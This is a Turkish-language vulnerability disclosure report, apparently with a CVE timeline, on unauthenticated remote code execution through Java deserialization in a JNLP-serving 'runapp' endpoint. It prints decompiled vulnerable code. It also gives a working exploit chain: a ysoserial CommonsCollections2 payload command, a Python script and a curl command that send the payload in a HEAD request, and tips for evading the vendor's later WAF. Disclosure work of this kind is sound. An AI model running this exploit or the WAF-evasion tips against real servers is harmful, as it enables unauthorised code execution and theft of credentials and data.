• Girdi güvenliği: Uygulama, doğrulanmamış/veri türü zorlanmamış bir girdi akışını doğrudan ObjectInputStream.readObject()’a iletiyor. Sınıf allowlist’i/object filter (JEP-290) gibi savunmalar yok ya da etkisiz.
• HTTP semantiği ihlali: Handler/filtre/servlet katmanında HTTP metoduna göre gövde okuma ayrımı yapılmıyor. doHead veya ortak bir service dalında, koşulsuz getInputStream() tüketimi söz konusu; bu da HEAD ile bile gövde taşınmasını anlamlı ve sömürülebilir kılıyor.

​

Olay Akışı

1. http://xx.xxx.xx.xxx:xxxx/xxxx/xxxx/runapp?... uç noktası tespit edildi; yanıt olarak JNLP döndürdüğü ve kimlik doğrulaması istemediği görüldü.
2. JNLP içinde ana bileşenler Startupv3.29.6.4 gibi JAR’lara işaret ediyor.
3. Startupv3.29.6.4 JAR analizi sırasında com.lbs.start.SocketToken sınıfında new ServerSocket(port) ve new ObjectInputStream(...).readObject() çağrıları belirlendi; gelen mesajlar filtre/allow-list olmadan işleniyor.
4. ysoserial ile hazırlanan payload.ser CommonsCollections2 + TemplatesImpl + Runtime.exec HEAD isteğinin gövdesi olarak /smart/runapp’a gönderildi ve sunucuda dosya oluşturma ile RCE doğrulandı.

​

Teknik kanıt

/* 211 */     listenThread = new Thread(new Runnable()
/*     */         {
/*     */           public void run()
/*     */           {
/* 215 */             Socket connection = null;
/* 216 */             ObjectOutputStream out = null;
/* 217 */             ObjectInputStream in = null;
/* 218 */             String message = null;
/*     */ 
/*     */             
/*     */             while (true) {
/*     */               try {
/* 223 */                 connection = SocketToken.ms_Instance.accept();
/* 224 */                 System.out.println("Connection received from " + connection.getInetAddress().getHostName() + "Port:" + connection
/* 225 */                     .getPort());
/* 226 */                 out = new ObjectOutputStream(connection.getOutputStream());
/* 227 */                 out.flush();
/* 228 */                 in = new ObjectInputStream(connection.getInputStream());
/* 229 */                 out.writeObject("Connection successful");
/* 230 */                 out.flush();
/* 231 */                 System.out.println("server>- Connection successful");
/*     */ 
/*     */                 
/*     */                 try {
/* 235 */                   message = (String)in.readObject(); // UNTRUSTED DESERIALIZATION
/* 236 */                   System.out.println("client>" + message);
/* 237 */                   if (message.equals("LBS_Hello")) {
/*     */                     
/* 239 */                     out.writeObject("LBS_Hello");
/* 240 */                     out.flush();
/*     */                   } else {
/*     */ 
/*     */                     
/*     */                     try {
/*     */                       
/* 246 */                       if (processor != null) {
/* 247 */                         processor.processToken(message);
/*     */                       }
/*     */                     } finally {
/*     */                       
/* 251 */                       out.writeObject("SUCCESS");
/* 252 */                       out.flush();
/*     */                     }
/*     */                   
/*     */                   } 

• Ayrıca initListen(...) içinde ms_Instance.accept() ile kabul edilen bağlantılarda yine new ObjectInputStream(connection.getInputStream()) çağrısı ve processor.processToken(message) ile gelen nesnenin uygulama mantığına verildiği görülüyor.
• Gelen veriye hiçbir güvenlik filtresi uygulanmadan readObject() çağrısı yapılmakta.
  
  exploit.py // HEAD ile tetikleme

import requests

url = "http://xx.xxx.xxx.xx:xxxx/xxxxxx/xxxxx/runapp?mem=2048&lang=TRTR&access_token=test123&tenantId=1&firmNr=001" ## Veriler Rastgeledir.
payload_file = "payload.ser" ## bizim dosya

with open(payload_file, "rb") as f:
    payload = f.read()

response = requests.head(url, data=payload)

print(f"[+] Response: {response.status_code}")
print(response.headers)

if response.status_code == 200:
    print("[+] HEAD request successfully sent.")
else:
    print(f"[!] Error: {response.status_code}");

curl -v --http1.1 -X HEAD \
  -H 'Content-Type: application/x-java-serialized-object' \
  --data-binary @payload.ser \
  'http://host:xxxx/xxxx/smart/runapp'

java --add-opens java.base/sun.reflect.annotation=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
     --add-opens java.base/java.util=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections2 "touch /tmp/pwned" > payload.ser

/*     */         try {
/* 524 */           String docURI = getParameter("DOCUMENT_URI");
/* 525 */           if (docURI != null)
/*     */           {
/* 527 */             Method mtd3 = applet.getClass().getMethod("setDocumentURI", new Class[] { String.class });
/* 528 */             mtd3.invoke(applet, new Object[] { docURI });
/*     */           }
/*     */         
/* 531 */         } catch (Throwable throwable) {}
/*     */ 

​

Kanıtın Gözlemi

​

Zaman Çizelgesi

• 05.10.2025 – İlk bildirim
• 22.10.2025 – CVE tahsisi
• 22.10.2025 sonrası – Vendor WAF/endpoint davranışını değiştiriyor (POST/PUT → 405; büyük gövdede RST; GET/HEAD 200 ile JNLP servis ediyor).

​

Saldırı yüzeyi

• Giriş noktası: /xxxx/smart/runapp (JNLP üretim noktası) HEAD/GET isteklerine yanıt veriyor.
• Parametre kökeni: JNLP içindeki DOCUMENT_URI argümanı istemci tarafından okunuyor; sunucu tarafında bu URI’ye karşılık gelen belge/akış işlenirken gövde verisi HTTP metodundan bağımsız olarak elde edilebiliyor.
• Metot semantiği ihlali: HTTP/1.1’de HEAD gövdesi anlamsal olarak yok sayılmalıdır; ancak uygulama ortak handler’da getInputStream()’i koşulsuz okuduğu için HEAD ile gönderilen serialized içerik de işlenebiliyor.

​

İstismar önkoşulları

• Kimlik doğrulama: Gerekmiyor.
• Ağ erişimi: internet.
• Gadget zinciri:CommonsCollections2

​

İstismar kolaylığı (Exploitability)

• Ağ vektörü (AV:N): Uzak ağdan tetikleniyor.
• Düşük karmaşıklık (AC:L): HEAD ile gövde kabul eden handler var
• Kullanıcı etkileşimi (UI:N): Yok.
• Ayrıcalık gereksinimi (PR:N): Yok.
• Güvenlik kapsamı (S:U): Tipik olarak aynı bileşen içinde
• Etkiler:
  • Gizlilik (C:H): Process yetkisiyle dosya/kimlik bilgisi sızdırma, JDBC dizeleri, erişim anahtarları.
  • Bütünlük (I:H): Keyfi komut ve bytecode çalıştırma.
  • Süreklilik (A:H): Hizmet kesintisi.
• Güvenirlik: Aynı sürüm/sınıf yolu/gadget seti yakalandığında yüksek; WAF devredeyken ayarlama gerektirebilir (chunked, içerik türü/farklı başlıklar, boyut eşikleri, farklı metodlar).

Not (HEAD neden çalışıyor?): Uygulama, doHead()’i doGet()/process()’e delege ediyor veya tek bir “process” bloğu tüm metodlarda koşulsuz request.getInputStream() okuyor. Bu, standart uygulama farkından kaynaklanan bilinen bir “pitfall”; HEAD gövdeyi okumamalı, fakat okur ve deserialize ederse RCE’ye yol açabilir.

​

Neden risk yüksek?

• Kimlik doğrulamasız, uzaktan, tek paketle tetiklenebilir bir RCE vektörü.
• HEAD ile bile çalışabilmesi, klasik WAF kural setlerinin “sadece POST/PUT gövdesini incele” varsayımını bozar.
• Java kurumsal ekosisteminde gadget bolluğu, pratikte yüksek istismar olasılığı demektir.

​

Kısıtlar Çevresel faktörler

• Sonradan eklenen WAF: Büyük/şüpheli gövde gönderiminde **RST **veya 405 döndürüyor; bu semptomu gizler, kök nedeni kaldırmaz.
• Class-path farklılıkları: Bazı sürümlerde belirli gadget’lar bulunmayabilir, ancak alternatif zincirler genelde mevcuttur.

​

Mitigasyon

METHOD  | BODY         | C-TYPE                               | SONUÇ
HEAD    | yok          | —                                    | 200 (jnlp headers)
HEAD    | 5B txt       | application/x-java-serialized-object | 200
HEAD    | 5B txt       | application/octet-stream             | 200
HEAD    | 100B .ser    | application/x-java-serialized-object | 200
HEAD    | >1000B .ser  | application/x-java-serialized-object | 405
POST    | 100B .ser    | application/x-java-serialized-object | WAF 
POST    | 400B .ser    | application/x-java-serialized-object | WAF
POST    | full .ser    | application/x-java-serialized-object | WAF
PUT     | 100/400/full | application/x-java-serialized-object | 405 

​

Hashler

​

Deserialization Kaynaklı RCE Nasıl Oluşur.